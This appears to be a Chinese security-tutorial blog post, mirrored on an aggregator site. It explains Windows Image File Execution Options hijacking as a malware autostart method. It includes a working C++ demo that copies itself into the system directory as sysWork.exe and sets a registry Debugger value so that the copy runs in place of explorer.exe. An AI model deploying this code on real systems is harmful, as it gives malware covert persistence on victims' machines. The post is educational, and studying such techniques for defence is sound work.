zoukankan      html  css  js  c++  java
  • 安全之路 —— 通过映像劫持实现文件自启动

    简介

    Windows映像劫持技术是微软提供给软件开发者调试使用的在注册表项,能够替换目标进程执行。但如果被病毒木马利用,便会成为触发式自启动的绝佳方式,所以修改映像劫持的操作行为也被反病毒软件列为极其危险的行为之一。

    • 实现映像劫持修改的注册表项为:
    1. HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Options

    在项下添加新的子键,名为替代启动的目标进程名,例如“cmd.exe”,然后创建新的值项为“Debugger”,值为新的进程路径。

    C++代码样例

    ////////////////////////////////////////////////
    //
    // FileName : ifeoDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-5 18:44
    // Comment : Image File Hijacking Demo
    //
    ////////////////////////////////////////////////
    
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <iostream>
    #include <windows.h>
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;
    BOOL g_fileExistFlag = false;
    
    /**
     * @brief 封装字符型注册表操作
     * @param hRoot root key
     * @param szSubKey sub key after the root key
     * @param szValueName key name
     * @param szData key Data
     * @return Boollean Value
     */
    BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        CHAR szSystemFilePath[MAX_COUNT] = "";
        CHAR szSelfFilePath[MAX_COUNT] = "";
        CHAR szExplorerPath[MAX_COUNT] = "";
        GetSystemDirectory(szSelfFilePath, sizeof(szSystemFilePath));
        strcat_s(szExplorerPath, sizeof(szExplorerPath), "C:\Windows\explorer.exe");
        strcat_s(szSystemFilePath, sizeof(szSystemFilePath), "\sysWork.exe");
        GetModuleFileName(NULL, szSelfFilePath, sizeof(szSelfFilePath));
        if (!CopyFile(szSelfFilePath, szSystemFilePath, true))
        {
            setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", "");
            WinExec(szExplorerPath, SW_SHOW);
        }
        setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", szSystemFilePath);
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        ExitProcess(0);
        return 0;
    }
  • 相关阅读:
    【SQL Server】数据库是单个用户的 无法顺利进行操作 怎么解决
    【java 断点续传】
    【SQL 触发器】
    【SQL 数据库】将一张数据表信息复制到另一张数据表
    【java 获取数据库信息】获取MySQL或其他数据库的详细信息
    【zTree】 zTree使用的 小例子
    【前台 ajax】web项目前台传递数组给后台 两种方式
    【POI xls Java map】使用POI处理xls 抽取出异常信息 --java1.8Group by ---map迭代 -- 设置单元格高度
    Linux 在VMware中搭建CentOS6.5虚拟机
    HTML5 Canvas实现360度全景图
  • 原文地址:https://www.cnblogs.com/csnd/p/12897012.html
Copyright © 2011-2022 走看看